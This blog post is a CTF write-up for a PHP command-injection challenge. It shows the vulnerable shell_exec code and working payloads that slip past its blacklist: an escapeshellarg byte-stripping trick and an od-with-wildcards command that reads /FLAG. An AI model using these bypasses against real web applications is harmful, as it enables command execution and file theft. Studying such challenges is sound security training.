[广东强网杯 2021 团队组]love_Pokemon rce读取绕过

五一结束了,真快啊!
今天看一道RCE绕过类型的题目。上来先看看源码。

点击查看代码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?> 
一眼看到了利用点——shell_exec,但是题目进行了过滤。先构造payload看看hint中的东西,post的level不能出现lv100,但是经过escapeshellarg要有lv100。先看看escapeshellarg:把字符串转义为可以在 shell 命令里使用的参数,那么我们可以再字符串中间添加不可见字符导致前面的匹配失败,但是经过转移后的字符为lv100就可以了。 payload:myfavorite=bulbasaur!&levelup=lv10%ff0 (%ff与%81都可以,记住要插在中间,别弄到开头结尾) 我们得到了:
点击查看代码
</code>2f4850466af6a0a50752be95d64c99764690906cffd6ea85ffcbf1bc222e73d8<?php $hint = 'flag is located in / , and NAME IS FLAG';
?>
hint说flag再/FLAG中,那么现在进行rce绕过。可以发现flag与其他好几个读取文件的命令都被过滤,但是od没有被过滤(具体看https://blog.csdn.net/2301_76690905/article/details/134533626),接下来需要绕过flag,可以发现[]@等没有被过滤,可以使用通配符绕过,所以payload:myfavorite=mewtwo&dream=od%09/F[@-Z][@-Z]G,读取结果为8进制,进行转码即可。
posted @   jockerliu  阅读(42)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示